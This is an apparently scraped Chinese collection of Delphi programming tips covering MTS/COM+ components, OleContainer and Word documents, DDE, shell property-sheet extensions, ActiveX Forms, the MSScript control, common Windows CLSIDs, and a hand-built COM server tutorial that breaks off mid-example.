    如果是在MTS环境中，如果第二个组件和第一个组件分享一个事务，就必须通过context对象告诉MTS.很不幸，Borland没有把它作为context对象的一个方面封装进TmtsAutoObject类。

    对象上下文接口（object context interface）有一个叫做CreateInstance的方法，用这个方法，我们可以要求创建其它MTS对象。如果事务模型是“Requires a Transaction"或者“Support Transactions"，新创建的对象将被列入同一个事务中。如果事务模型是“Requires a New Transaction（要求新事务）"，就会有一个新事务被创建。

    TmtsAutoObject有一个保护的属性--ObjectContext，利用它，就能够得到context对象接口。要创建MTSDemo1组件的一个实例，用下面的代码：

    ObjectContext.CreateInstance（CLASS_MTSDemo1， IMTSDemo1， obj）

    CreateInstance得到要创建的类的GUID，返回的接口和接口变量作为它的参数。因为是直接的COM调用，所以要用OLECheck函数来包装它，在出错的时候引起一个Delphi异常。

    下面我们创建第二个MTS对象（MTSDemo2）。这个对象也有一个GetData方法，调用MTSDemo1的GetData方法：

    function TMTSDemo2._GetData： OleVariant；var obj ： IMTSDemo1；begin OLECheck （ObjectContext.CreateInstance（CLASS_MTSDemo1， IMTSDemo1， obj））；try Result ：= obj.GetData；finally obj ：= nil；end{try/finally}；end；

    初始化

    如果需要运行某些代码来初始化MTS组件，不要把这些代码放在Delphi constructor（构造器）或者COM Initialize方法中，而应该放在MTS组件的OnActivate方法里面。这是TmtsAutoObject的一个保护方法，我们要在组件中重载它。组件创建后，MTS将调用这个方法，在真正的方法调用之前做好准备。它总是在方法调用之前被调用，即使组件是从对象缓存池（COM+）中取回的。

    这样做的原因是对象缓存。对于一个被缓存的对象，无论它刚被创建、或是从缓存池中取回，都应该有同样的表现。所以，以同样的方式初始化对象，是非常重要的。

    要做最后的清理工作，在OnDeactivate方法里面操作。

    在上述两个方法中，最好不要出现异常。MTS认为初始化过程不应该失败，所以没有很好地处理这个事件。客户端只会看见一个灾难性失败：没有任何其它可用信息。

    所以，一定要用try/except块封装代码。而且，在OnActivate方法中，如果处理了错误，就应该把相关信息记录到组件中，方法本身应该检查这些信息，如果需要，引发一个异常。

    对象缓存

    假如是为COM+环境开发组件，想利用对象缓存（Object Pooling）的话，请依照下列步骤操作：

    第一，用Both线程模型。

    第二，重载TmtsAutoObject.CanBePooled方法，返回True.缺省值是False，关闭缓存功能。

    第三，无论对象是刚被创建还是从缓存池中取回，它都应该初始化为同样状态。

    最后，可能是最困难的，确保对象是线程安全的，这已经超出本文讨论范围。

把组件安装到MTS环境

我们已经做好一个MTS组件，现在需要测试它了。首先要把它安装到MTS环境。如果在Delphi中，简单地选择"Run|Install MTS Object"就可以了。"安装MTS对象（Install MTS Object）"向导将会询问容纳组件的MTS包（COM+应用程序）名称。

图七 MTS组件安装向导--选择组件

选定要安装的组件，在接着出现的对话框中，你可以选择一个已有的包，或者指定名称、创建一个新包。只需要输入名字即可，当然也可以输入关于包的描述。其它都交给向导完成。

图八 MTS对象安装向导--指定容纳组件的包

MTS包

什么是包？（什么是Windows 2000中的COM+应用程序？）

MTS组件是进程内DLL，所以需要一个应用程序进程来运行。对于MTS，这个程序就是mtx.exe；对于COM+，就是dllhost.exe。如果所有组件都在同一个进程空间运行，任何致命异常都会导致所有MTS应用程序失败。MTS把组件放到包里面，每个包都在独立的进程中运行，这样来尽可能地限制损坏发生。

一个包可以包括来自多个dll的组件，一个dll中的组件可以分散到多个包。唯一的限制是一个组件只能在一个包中出现。

在MTS环境中，除了提供进程隔离，包还可以用来定义安全分界。所有来自外部的调用都要经过检查，看是否有足够的权限。包内调用不被检查。在COM+中，安全检查在更适宜的层次进行，甚至可以细致到对每个方法进行安全设置。

调试

现在组件已经安装到MTS中了，如何运行、调试它呢？

我们需要一个调用组件方法的客户端程序。我总是为每个组件/组件组创建一个测试程序，这样便于调试和测试。

对于MTSDemo1组件，我们要做一个简单的窗体，包括一个DBGrid，一个DataSource，一个ADODataset和一个按钮。按钮单击代码：

procedure TForm1.Button1Click(Sender: TObject);

var

obj : variant;

begin

obj := CreateOleObject ('MTSDemo1Lib.MTSDemo1');

ADOTable1.Recordset := IUnknown(obj.GetData) as _Recordset; ;

end;

（把项目保存为MTSDemo1Lib）。

为了调试MTS组件，需要指定组件的宿主程序和参数。MTS的宿主程序是mtx.exe，在system32目录中。对于COM+，宿主程序是dllhost.exe，也是在system32目录。

二者的参数不同：

MTS： /p:"".

COM+： /ProcessID:{}.

这样，就可以从Delphi中运行组件，用任意客户端来调用，调试组件。为了同时调试组件和测试程序，用"Project|Build All Projects"菜单项进行编译。然后，运行组件和测试程序。

发布

完全测试好组件之后，准备发布组件。在MTS环境，用Transaction Server Explorer（事务服务器浏览）；在COM+环境，用Component Services（组件服务）。这两个工具具有类似资源管理器的界面，非常易于使用：

图九 组件服务

在左边的树状视图中，右击一个包，选择"导出（export）"，就可以导出包。我们得到一个包文件和dll的拷贝，还有全部安全设置。同时，MTS也创建一个客户端安装程序，用来在客户端计算机注册COM组件。

注意：客户端安装将注册导出包的服务器。一般我们从开发环境导出包，先安装到产品机，然后从产品机导出包，创建客户端安装程序。

一旦把包安装到产品机，就要指定组件事务模型，进行安全设置。

MTS的安全模型规则适用于NT用户组和组用户。规则授权对组件（或COM+中的单独方法）的存取。如有需要，可以用TmtsAutoObject方法IsCallerInRole和IsSecurityEnabled来进行组件内的精确控制，不过一般不需要这样做。

在Transaction Server Explorer中，利用上下文菜单，可以进行规则的创建、用户和组的指派以及组件规则的指定。


OleContainer和数据库问题

我们可以利用OleContainer来打开保存数据，特别是保存Word文件，但是大部分的情况下，用Word的话，需要生成临时文件，然后载入，这样在性能方面有很大的影响！那么有没有可能不用临时文件而把Word文档保存到数据库中呢？可以，利用流就可以了！

将BLob字段中的内容取出， 在OleContainer中显示。

Var

OleStream : TMemoryStream;

begin

// OleContainer1

OleStream := TMemoryStream.Create;

try

(Table1.FieldByName('Text') as TBlobField).SaveToStream(OleStream);

OleStream.Position := 0;

OleContainer1.LoadFromStream(OleStream);

OleContainer1.DoVerb(1); //显示

finally

OleStream.Free;

end;

end;


OleContainer的一个问题

我有一个Word文件，用Olecontainer打开，利用SavetoFile保存后，用Word根本无法打开了！这是怎么回事儿？

OleContainer在保存的时候，会保存一些其它的信息，因此，就会出现这种情况，你可以使用

OleContainer.SaveAsDocumet方法来代替SaveToFile方法！

*******************************

用OleContainer调用Word文档，那么又想以Ole的方式来控制Word，怎么办呢？实际上，OleContainer提供了OLE接口，他有一个OleObject的Variant属性，通过它我们就可以控制Word了。不过注意的事，若使用Word，那么OleObject返回的是Word.Application对象，因此，我们要使用的话，必须用类似下面的代码：

Caption:=OleContainer1.OleObject.Application.ActiveDocument.Name;

因此注意，每一次调用，都必须由哪个Application开始。若嫌麻烦，可以自己定义一个变量，这样就和普通的OLE方式是一样的啊。


用DDE创建程序组和快捷方式

用DDE创建程序组和快捷方式

procedure TMainForm.CreateWinGroup(Sender: TObject);

var

Name: string;

Name1: string;

Macro: string;

Macro1: string;

Cmd, Cmd1: array[0..255] of Char;

begin

{destDir is the dos directory to hold the YourFile.Ext'}

Name := 'GroupName';

Name1 := destDir + 'YourFile.Ext, FileName_in_Group ';

Macro := Format('[CreateGroup(%s)]', [Name]) + #13#10;

Macro1 :=Format('[Additem(%s)]',[Name1]) +#13#10;

StrPCopy (Cmd, Macro);

StrPCopy (cmd1, Macro1);

DDEClient.OpenLink;

if not DDEClient.ExecuteMacro(Cmd, False) then

MessageDlg('Unable to create group '+Name,mtInformation, [mbOK], 0)

else

begin

DDEClient.ExecuteMacro(Cmd1, False);

end;

DDEClient.CloseLink;

end;


一个Shell扩展菜单模板
这是一个Shell扩展菜单模板，非常不错的！利用她你能轻松地写出Shell Context Menu。

附件>>>> ContextMenu.rar


用delphi实现外壳扩展

用delphi实现外壳扩展

作者：hubdog

当用户在资源管理器中调用右键菜单时，会显示一个"属性"菜单项，点击属性菜单项会显示一个属性页，用户可以获得甚至修改文件信息。我们可以定制属性页通过实现属性页扩展。如下图所示，本文实现了一个显示wave（波形）文件的信息如声道数等信息的属性页扩展。

属性页扩展通常是同某类文件相关联的来实现同之相关的操作和信息显示，另外可以同驱动器相关联，我们还可以用属性页扩展来替换控制面板程序的属性页。象其他外壳扩展程序一样，属性页扩展也是以动态连接库形式实现的进程内COM对象。它除了IUnknown接口外还要实现IShellExtInit和IShellPropSheetExt接口。

建立同文件关联的属性页扩展

首先，我们用命令File|New...，创建一个ActiveX Library，然后新建一个COM Object，实现的接口为IShellExtInit和IShellPropSheetExt。

同文件建立关联需要注册属性页，要在注册表中同相应文件对应的表项下添加Shellex/PropertySheetHandlers子键 ，每增加一个页面就需要注册一个表项，最大可以添加的页面数是24，我们可以用一个扩展实现多个页面。这里我们通过从TComObjectFactory继承类实现的UpdateRegistry实现了注册。

type

TCXPropSheetFactory=class(TComObjectFactory)

public

procedure UpdateRegistry(Register: Boolean); override;

end;

procedure TCXPropSheetFactory.UpdateRegistry(Register: Boolean);

var

ClassID: string;

Str,KeyName : string;

begin

inherited UpdateRegistry(Register);

if Register then

begin

ClassID:=GUIDToString(Class_CXPropSheet);

with TRegistry.Create do

try

RootKey:=HKEY_CLASSES_ROOT;

OpenKey('.wav',TRUE);

KeyName := ReadString('');

if Keyname = '' then

begin

WriteString('','WaveFile');

OpenKey('.wav',TRUE);

KeyName := ReadString('');

end;

OpenKey('+KeyName+'',TRUE);

WriteString('',Classid);

finally

Free;

end;

if(Win32Platform=VER_PLATFORM_WIN32_NT)then

begin

with TRegistry.Create do

try

RootKey:=HKEY_LOCAL_MACHINE;

OpenKey('SOFTWAREExtensions', True);

OpenKey('Approved', True);

WriteString(ClassID, 'Wave File Property Sheet');

finally

Free;

end;

end;

end

else

删除注册表项.......................

end;

初始化扩展是通过IShellExtInit实现的，当外壳调用IShellExtInit.Initialize时，它传递一个数据对象包含来文件对应的目录的PIDL标识符。Initialize方法需要从数据对象中提取文件名，并把文件名和PIDL标识符保存起来为了以后使用。

function TCXPropSheet.SEIInitialize(pidlFolder: PItemIDList;

lpdobj: IDataObject; hKeyProgID: HKEY): HResult;

var

StgMedium: TStgMedium;

FormatEtc: TFormatEtc;

szFile: array[0..MAX_PATH+1]of Char;

filecount: integer;

begin

Result:=E_FAIL;

if(lpdobj=nil)then begin

Result:=E_INVALIDARG;

messagebox(0, '1', '错误', mb_ok);

Exit;

end;

with FormatEtc do begin

cfFormat:=CF_HDROP;

ptd:=nil;

dwAspect:=DVASPECT_CONTENT;

lindex:=-1;

tymed:=TYMED_HGLOBAL;

end;

Result:=lpdobj.GetData(FormatEtc, StgMedium);

if Failed(Result)then

Exit;

// 如果只有一个文件被选中，获得文件名并保存。

filecount:=DragQueryFile(stgmedium.hGlobal, $FFFFFFFF, nil, 0);

if filecount=1 then begin

Result:=NOERROR;

DragQueryFile(stgmedium.hGlobal, 0, szFile, SizeOf(szFile));

FFilename:=strpas(szFile);

end;

ReleaseStgMedium(StgMedium);

end;

添加页面的操作是通过IShellPropSheetExt接口来实现的。如果属性页是和文件相关联，外壳会调用 IShellPropSheetExt.AddPages给属性页添加一个页面。如果属性页同控制面板程序相关联，外壳调用 IShellPropSheetExt.ReplacePage来替换页面。

IShellPropSheetExt.AddPages方法有两个参数，lpfnAddPage是一个指向AddPropSheetPageProc 回调函数的指针，回调函数用来提供要添加的页面信息给外壳。lParam是一个用户自定义的值，这里我们用它来返回给回调函数对象。

一般的IShellPropSheetExt.AddPages方法实现步骤是：

给PROPSHEETPAGE结构设定正确的值，特别是：

把扩展的对象引用记数变量付值给pcRefParent成员，这可以防止页面还在显示时，扩展对象被卸载。

实现 PropSheetPageProc 回调函数来处理页面创建和销毁的情况。

调用CreatePropertySheetPage函数来创建页面。

调用lpfnAddPage指向的函数来来添加创建好的页面。

function TCXPropSheet.AddPages(lpfnAddPage: TFNADDPROPSHEETPAGE;

lParam: LPARAM): HResult;

var

PSP: TPropSheetPage;

HPSP: HPropSheetPage;

begin

result:=E_FAIL;

try

psp.dwSize:=SizeOf(psp);

psp.dwFlags:=PSP_USEREFPARENT or PSP_USETITLE or PSP_USECALLBACK;

psp.hInstance:=hInstance;

//这里我们使用了事先储存在wave.res中的对话框模板,模板是用delphi5自带的

//resource workshop编辑的，使用delphi5.exe编译的。

psp.pszTemplate:=MakeIntResource(100);

//标题名

psp.pszTitle:='波文件信息';

//设定回调函数

psp.pfnDlgProc:=@DialogProc;

psp.pfnCallBack:=@PropCallback;

//设定对象引用记数变量

psp.pcRefParent:=@comserver.objectcount;

//用lParam向回调函数传递对象

psp.lParam:=integer(self);

HPSP:=CreatePropertySheetPage(psp);

if HPSP<>nil then begin

if not lpfnAddPage(HPSP, lParam)then begin

DestroyPropertySheetPage(HPSP);

end else begin

_addref;//增加引用记数，否则一脱离这个方法的作用域，delphi自动释放对象。

result:=S_OK;

end

end

except

on e: exception do begin

e.message:='添加页面 '+e.message;

messagebox(0, pchar(e.message), '错误', mb_ok);

end;

end;

end;

function TCXPropSheet.ReplacePage(uPageID: UINT;

lpfnReplaceWith: TFNADDPROPSHEETPAGE; lParam: LPARAM): HResult;

begin

Result:=E_NOTIMPL;//同文件关联时，外壳不调用ReplacePage,所以不用实现

end;

回调函数处理属性页的消息，主要要响应WM_INITDIALOG消息来初始化页面显示信息，响应WM_COMMAND消息来处理用户交互，响应WM_NOTIFY消息来处理页面切换或关闭后处理操作结果。

function DialogProc(hwndDlg: HWnd; Msg: UINT; wParam: wParam;

lParam: LPARAM): Bool; stdcall;

var

PageObj: TCXPropSheet;

filename: string;

displayName : string;

buffer: array[0..255]of char;

SheetHWnd: HWnd;

begin

result:=false;

try

if Msg=WM_INITDIALOG then begin//初始化界面

//获得lparam传递过来的对象

pageObj:=TCXPropSheet(PPropSheetPage(lParam)^.lParam);

//保存对象信息

SetWindowLong(hwndDlg, DWL_USER, integer(pageObj));

//设置界面显示波文件信息

SetDlgItemText(hwndDlg, 100, PChar(ExtractFileName(PageObj.FFileName)));

OpenMedia(PageObj.FFileName);

SetDlgItemText(hwndDlg, 101, PChar(IntToStr(GetWavStatus(MCI_WAVE_STATUS_AVGBYTESPERSEC))));

SetDlgItemText(hwndDlg, 102, PChar(IntToStr(GetWavStatus(MCI_WAVE_STATUS_BITSPERSAMPLE))));

SetDlgItemText(hwndDlg, 103, PChar(IntToStr(GetWavStatus(MCI_WAVE_STATUS_CHANNELS))));

CloseMedia;

SetWindowLong(hwndDlg, DWL_MSGRESULT, 0);

Result:=TRUE;

end

else if(Msg=WM_COMMAND)then begin

if Lo(wParam)=110 then//用户点击了关于按钮(id=110)

MessageBox(0,'作者:hubdog'+#13#10+'email:hubdog@263.net','关于...',MB_OK);

end else if(msg=WM_NOTIFY)then begin

sheetHwnd:=getparent(hwndDlg);//获得属性页的窗口句柄

case PNMHdr(lparam)^.code of

//页面失去焦点

PSN_KILLACTIVE:begin

SetWindowLong(hwndDlg, DWL_MSGRESULT, 0);

Result:=TRUE;

end;

end;

end;

except

on e: exception do begin

e.message:='回调处理'+e.message;

messagebox(0, pchar(e.message), '错误', mb_ok);

end;

end;

end;

建立同驱动器相关联的属性页扩展用

同上面讲的有两点不同：

IShellExtInit.Initialize方法传递过来的数据对象包含的驱动器路径可能是 CFSTR_MOUNTEDVOLUME 格式而不是 CF_HDROP格式的。标准驱动器是CF_HDROP格式的，而在NTFS文件系统中映射的远程设备则是CFSTR_MOUNTEDVOLUME格式的。

注册表项是HKEY_CLASSES_ROOT子键。

建立控制面板属性页扩展

同上面讲的有两点不同：

控制面板程序调用IShellPropSheetExt.ReplacePage方法来替换页面，它不调用 IShellPropSheetExt。AddPages方法。

注册方式：子键可以在不同位置创建，这依赖于扩展是针对用户还是针对机器的。 对用户方式子键是HKEY_CURRENT_USER_PATH_CONTROLPANEL，否则子键是 HKEY_LOCAL_MACHINE_PATH_CONTROLSFOLDER。

本程序在Delphi5，Win NT 4.0，K6-233系统下调试成功。例子程序可以到

http://chaozhi.com/lgc去下载


关于Delphi的ActiveX Form的一个问题

如果你编写的ActiveX Form无法在网页里面显示出来，而你又把其他的方面都明白了的话，那么你可以查一查下面的这个方面的问题，在你的ActiveX Form的主窗体的源代码中，有类似下面的代码：

initialization

TActiveFormFactory.Create(

ComServer,

TActiveFormControl,

TlyhAxForm,

Class_lyhAxForm,

1,

'{BC92EC83-BA34-48A4-B236-B4AC3D3938AF}',

OLEMISC_SIMPLEFRAME or OLEMISC_ACTSLIKELABEL,

tmApartment);

end.

注意，问题就在这里，请把那个GUID去掉改成下面的即可：

initialization

TActiveFormFactory.Create(

ComServer,

TActiveFormControl,

TlyhAxForm,

Class_lyhAxForm,

1,

'',

OLEMISC_SIMPLEFRAME or OLEMISC_ACTSLIKELABEL,

tmApartment);

end.

Kingron为了这个问题化了一个下午的时间！痛苦中……


MSScript.OCX的使用

with ScriptControl1 do

begin

Language :='VBScript'; ///设置语言，还可以为JavaScript

SitehWnd :=Handle; ///传递父窗口句柄

ExecuteStatement('msgbox("Shit!")'); /// 显示一个Message Box

ShowMessage('1+2+3*4/5^7='+FloatToStr(Eval('1+2+3*4/5^7')));

end;

procedure TForm1.Button1Click(Sender: TObject);

var xx: OLEVariant;

begin

xx := CreateOLEObject('MSScriptControl.ScriptControl');

xx.Language := 'VBScript';

xx.AddCode('Dim i');

xx.AddCode('i=2');

xx.ExecuteStatement('MsgBox i^2');

end;

附件>>>> scriptrr.zip


一些Windows常用的CLSID

excel.{00020810-0000-0000-C000-000000000046}

word.{00020900-0000-0000-C000-000000000046}

media.{00022603-0000-0000-C000-000000000046}

CAB.{0CD7A5C0-9F37-11CE-AE65-08002B2E1262}

计划任务.{148BD520-A2AB-11CE-B11F-00AA00530503}

搜索-计算机{1f4de370-d627-11d1-ba4f-00a0c91eedba}

网上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D}

我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}

控制面板.{21EC2020-3AEA-1069-A2DD-08002B30309D}

打印机.{2227A280-3AEA-1069-A2DE-08002B30309D}

html.{25336920-03f9-11cf-8fd0-00aa00686f13}

mht.{3050F3D9-98B5-11CF-BB82-00AA00BDCE0B}

mshta.{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B}

我的文档.{450D8FBA-AD25-11D0-98A8-0800361B1103}

XML.{48123bc4-99d9-11d1-a6b3-00c04fd91555}

回收站(满).{5ef4af3a-f726-11d0-b8a2-00c04fc309a4}

回收站.{645FF040-5081-101B-9F08-00AA002F954E}

ftp_folder.{63da6ec0-2e98-11cf-8d82-444553540000}

网络和拨号连接.{7007ACC7-3202-11D1-AAD2-00805FC1270E}

写字板文档.{73FDDC80-AEA9-101A-98A7-00AA00374959}

Temporary Offline Files Cleaner.{750fdf0f-2a26-11d1-a3ea-080036587f03}

用户和密码.{7A9D77BD-5403-11d2-8785-2E0420524153}

Internet 临时文件.{7BD29E00-76C1-11CF-9DD0-00A0C9034933}

已下载的程序文件的清除程序.{8369AB20-56C9-11D0-94E8-00AA0059CE02}

公文包.{85BBD920-42A0-1069-A2E4-08002B30309D}

ActiveX 高速缓存文件夹.{88C6C381-2E85-11D0-94DE-444553540000}

mail.{9E56BE60-C50F-11CF-9A2C-00A0C90A90CE}

历史记录.{FF393560-C2A7-11CF-BFF4-444553540000}

目录.{fe1290f0-cfbd-11cf-a330-00aa00c16e65}

Internet Explorer.{FBF23B42-E3F0-101B-8488-00AA003E56F8}

Snapshot File.{FACB5ED2-7F99-11D0-ADE2-00A0C90DC8D9}

预订文件夹.{F5175861-2688-11d0-9C5E-00AA00A45957}

MyDocs Drop Target.{ECF03A32-103D-11d2-854D-006008059367}

Policy Package.{ecabaebd-7f19-11d2-978E-0000f8757e2a}

搜索结果.{e17d4fc0-5564-11d1-83f2-00a0c90dc849}

添加网上邻居.{D4480A50-BA28-11d1-8E75-00C04FA31A86}

Paint.{D3E34B21-9D75-101A-8C3D-00AA001A1652}

管理工具.{D20EA4E1-3957-11d2-A40B-0C5020524153}

字体.{D20EA4E1-3957-11d2-A40B-0C5020524152}

Web Folders.{BDEADF00-C265-11d0-BCED-00A0C90AB50F}

DocFind Command.{B005E690-678D-11d1-B758-00A0C90564FE}

脱机文件夹.{AFDB1F70-2A4C-11d2-9039-00C04F8EEB3E}

打印机.{2227A280-3AEA-1069-A2DE-08002B30309D}


COM实现过程

COM实现过程

原创：吴剑明(foxnt)

前言

COM已经成为一个必需的东西了。在我们周围，可以说处处充满了COM - 如果你是在使用WINDOWS，并在其下面编写程序的话。然而，无论你是用VC，还是使用DELPHI进行COM编程时，在大多数情况下，编程工具的IDE已经向你隐藏了COM的大部分实现过程，使得程序员根本不需要了解COM，只专心致志地写其所关心的逻辑代码。这就意味着，我们很少有机会，能够揭开COM的神秘面纱，来看到它下面到底是什么东西。这对于一个WINDOWS程序员来说，不能不是个遗憾。

因此，本文的宗旨，就是抛开现有的IDE提供的各种向导工具，引导大家从最基本的地方入手，完整地从一个空白的程序里，建立起一个COM程序，从而达到能够比较清晰地了解一个COM，到底是如何生成出来并实现在程序中。

本文假设，您是一个有COM编程经验的DELPHI/VC程序员，并希望了解COM的基本实现过程。限于篇幅和时间，我们只讨论进程内的COM（DLL）的实现，并引导大家亲手建立起一个最简单的COM程序。

COM是什么？

COM有各种表现形式，可以是进程内，也可以是进程外；可以在本机调用，也可以远程调用。记得国外有个研究COM的组织，他的主题就叫作：COM就是爱！ 这当然是外国人的幽默，他只是想说明，COM是个多么重要的东西。那么COM到底是个什么东西呢？

很早以前，在我刚开始学习COM的时候，身边就有些程序员告诉我：COM不是DLL，虽然它通常也是以DLL来作为扩展名的，可他完全与DLL完全不同。那么，这种说法是否正确呢？我们来看看，要实现一个进程内的COM，到底需要经过哪些步骤，那么，我们就能很清楚的知道答案了。

完成一个进程内的COM，通常需要以下几步：

1. 建立一个DLL项目，并导出以下四个函数：

DllGetClassObject,

DllCanUnloadNow,

DllRegisterServer,

DllUnregisterServer;

2. 定义自定义的接口，同时必须实现Iunknown接口。

3. 建立GUID，以标识这个组件以及自定义的接口。

4. 在注册表中注册以标记这个DLL。

大家都看到了，在第一个步骤里，需要建立一个DLL项目，那么，是不是意味着，COM就是一个DLL呢？在这里，我可以明确地告诉大家，从技术上讲，一个进程内的COM完全可以被认为就是一个普通的DLL-动态连接库！如果你抛弃常用的COM API，比如DELPHI中常用的：

CreateCOMObject()或者

CreateOLEObject()

那么您完全可以直接采用加载普通DLL的方式来调用这个COM组件，比如说，您可以直接用LoadLibrary()函数来加载这个DLL，然后使用GetProcAddress来调用从这个DLL里输出的接口，从而完成各项操作。这是完全可行的。然而，我不得不告诉大家，把一个COM仅仅看成一个DLL，那是非常肤浅的看法 - DLL仅仅是一种表现形式而已。更重要的是，COM实现了一种规则。因此我们可以说：

l COM是一种包含了许多处理逻辑、符合了某种接口规范（如Iunknown规范）的DLL组件。

（注：如果没有特别说明，我在本文里所指的COM，都是指进程内的DLL形式的COM）

l COM实现了Iunknown接口。因此，任何只要符合Iunknown规范，实现了Iunknown接口的DLL组件，我们都可以把他看成是一个COM。

那么，什么是Iunknown接口呢？如何实现一个Iunknown接口呢？我们看看，在DELPHI中是如何定义一个Iunknown接口的：

IInterface = interface

['{00000000-0000-0000-C000-000000000046}']

function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;

function _AddRef: Integer; stdcall;

function _Release: Integer; stdcall;

end;

IUnknown = IInterface;

简单一点看，我们直接这样理解就行了：

IUnknown = interface

['{00000000-0000-0000-C000-000000000046}']

function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;

function _AddRef: Integer; stdcall;

function _Release: Integer; stdcall;

end;

在DELPHI里，interface是编译器所认识的一种类型。如果是在VC++中，Iunknown将被定义为一种结构（struct）。如果要实现一个Iunknown接口，我们必须用一个类来实现它，比如在DELPHI中，要实现Iunknown接口可以写成为：

TMyCOMObject = class (Tobject, Iunknown)

……

end;

有心的读者可能会立即问：这个Iunknown接口由Tobject来实现，那么，可不可以是由其他类来实现呢？比如说用Tcomponent类来实现？答案是： 完全可以！！

例如，我们要实现一个自定义的接口IMyCOM，可以写成这样：

IMyCOMTest = interface(Iunknown);

TMyCOMTest = class(Tcomponent, IMyCOMTest)

…….

End;

这样是完全可以的！因为COM关注的只是如何实现一个接口，至于程序员使用什么类来实现，COM是不管的。

后面我们要实现一个COM的例子，而且我打算就用这个IMyCOMTest接口来做。所以我们把这个接口声明成为例1，以便后面使用。

COM的产生

假如我们已经完成了一个COM，并且已经在系统中注册了。那么，一个客户端需要来调用这个COM，这时，系统中发生了哪些事呢？

一般来说，以DELPHI为例，客户程序使用CreateCOMObject或者CreateOLEObject调用COM组件时，会发生以下几个步骤：

1. CreateCOMObject或者CreateOLEObject的动作。

我们看看这两个函数都干了些什么：

function CreateComObject(const ClassID: TGUID): IUnknown;

begin

OleCheck(CoCreateInstance(ClassID, nil, CLSCTX_INPROC_SERVER or

CLSCTX_LOCAL_SERVER, IUnknown, Result));

end;

CreateOLEObject稍微复杂些：

function CreateOleObject(const ClassName: string): IDispatch;

var

ClassID: TCLSID;

begin

ClassID := ProgIDToClassID(ClassName);

OleCheck(CoCreateInstance(ClassID, nil, CLSCTX_INPROC_SERVER or

CLSCTX_LOCAL_SERVER, IDispatch, Result));

end;

看到了吗？CreateOLEObject多了一个ProgIDToClassID函数。这意味着，如果我们要用CreateOLEObject来调用我们的COM组件，我们将要多一些步骤来编写我们的COM。这个我将会在后面说明。现在，我们要关注的是CoCreateInstance API函数。

2. CoCreateInstance API函数将调用CoGetClassObject API，这个调用过程我们是看不到相关的代码的，因为微软已经把他封装好了。而CoGetClassObject函数的作用是什么呢？它将调用LoadLibrary来寻找我们指定的COM组件（DLL），然后使用GetProcAddress 来寻找组件的入口函数 - 还记得我们上面说过的那四个被导出的函数吗？对，其中的DllGetClassObject 函数就在这里将被调用。该函数的原形在DELPHI中是：

function DllGetClassObject(const CLSID, IID: TGUID; var Obj): HResult;

其中第三个参数：Obj ，将向我们返回COM中的定义的接口。但是，要注意，这个接口并不是我们自定义的接口，而是向我们返回了一个被成为是“类工厂”接口的IclassFactory的接口。当我们获得类工厂接口后，就可以获得我们所需要的、那个我们自定义的接口了。看看IclassFactory 的接口声明：

IClassFactory = interface(IUnknown)

['{00000001-0000-0000-C000-000000000046}']

function CreateInstance(const unkOuter: IUnknown; const iid: TIID;

out obj): HResult; stdcall;

function LockServer(fLock: BOOL): HResult; stdcall;

end;

看到那个CreateInstance 的方法了吗？对了，它的第三个参数 obj 将向我们返回那个我们定义的接口，比如是我们的IMyCOMTest接口（例1）。这样，我们就可以调用我们自定义的接口方法了。

以上的众多步骤看起来有点让人迷惑。那么我们就用一个简单的流程来描绘我们刚才所发生的步骤。不要被那些步骤吓倒，其实他们是非常简单的。

l CreateCOMObject --à CoCreateInstance。 CoCreateInstance 在注册表中查找COM的注册信息。

l CoCreateInstance -à CoGetClassObject 。注册信息被交给CoGetClassObject。这时候CoGetClassObject将知道COM组件在磁盘上的位置。

l CoGetClassObject -à LoadLibrary 。LoadLibrary 将寻找COM DLL的入口，然后GetProcAddress调用其输出函数DllGetClassObject

l DllGetClassObject 的输出参数将向我们返回“类工厂”接口IClassFactory。

l IclassFactory --à CreateInstance 。CreateInstance方法建立其我们实现接口的类。该类将调用自身的QueryInterface 方法，查看用户指定的接口是否被自己实现，如果实现了，则向返回自定义的接口。

l 调用结束后，COM客户将调用COM的DLL输出函数DllCanUnloadNow 。如果该函数返回S_OK，则释放该组件。

实际的COM例子

下面我们来做一个实际的例子。包括如何建立一个COM Server和一个COM Client。

对于COM Server，我们将实现以下功能：

l 单线程，单客户支持。

l 实现自定义的接口

l 能够使用Regsvr32 在系统中注册和反注册。

l 能够被DELPHI或者VC++程序调用。

我们只关注实现最基本的功能。当大家清楚整个流程后，自然就能写出更高级的功能，比如多线程支持等。

下面，让我们开始COM实现之旅。

COM Server程序

l 在DELPHI中，新建一个DLL工程。注意是DLL，而不是 Activex Library。并把工程名保存为MyCOM。然后依次建立两个单元文件：

MyCOMServer 单元： 此单元描述了COM的逻辑实现

COMDef 单元： 此单元描述了COM的输出函数定义。

l 在MyCOM单元里，我们定义DLL的输出函数，整个代码：

library MyCOM;

uses

SysUtils,

Classes,

COMDef,

MyCOMServer in 'MyCOMServer.pas';

//在这里导出四个函数。

exports

DllGetClassObject,

DllCanUnloadNow,

DllRegisterServer,

DllUnregisterServer;

{$R *.res}

begin

end.

先做好定义，不要考虑他们是如何实现的。这个在后面我会做详细解说。在这里我先说明这四个函数的作用：

DllGetClassObject ： 返回类工厂接口。

DllCanUnloadNow ： 告诉客户端该COM是否可以被正常卸载。

DllRegisterServer ： 向系统注册COM组件信息。Regsvr32.exe 就是调用这个函数来进行注册的。

DllUnregisterServer ：从系统中反注册一个COM。Regsvr32.exe 就是调用这个函数来进行反注册的。

l 现在为我们的COM定义GUID。注意，在一个COM组件里，有三种GUID：

CLASS_xx 类型的GUID，是用来标识COM组件的。

IID_xx类型的GUID，是用来标识一个接口的。可以有多个。

LIBID_xx类型的GUID，是用来标识一个TypeLib的。关于如何实现一个TypeLib，我会在COM实现过程（2）中会讲到。在这里先略过。

现在，我们定义我们的COM组件的GUID，在COMDef单元里加入的代码为：

const

Class_MyCOM: TGUID = '{CE38847E-A386-4753-89F1-34BE80042107}';

LIBID_MyCOM: TGUID = '{C2387E2A-0F08-442E-8947-D1AB36A9BDD0}';

l 开始定义我们的接口。我们采用例一所定义的接口，在MyCOMServer单元里加入代码：

IMyCOMTest = interface(IUnknown)

['{D1C4A022-7F6F-42F0-A9B0-4A91703EB124}']

function msg: integer;stdcall;

end;

注意，在这里，我们为IMyCOMTest 定义了一个IID类型的GUID，它唯一表示我们的接口。同时我们定义了一个方法 msg ，它向我们返回一个整数值。

定义了接口，当然要实现它：

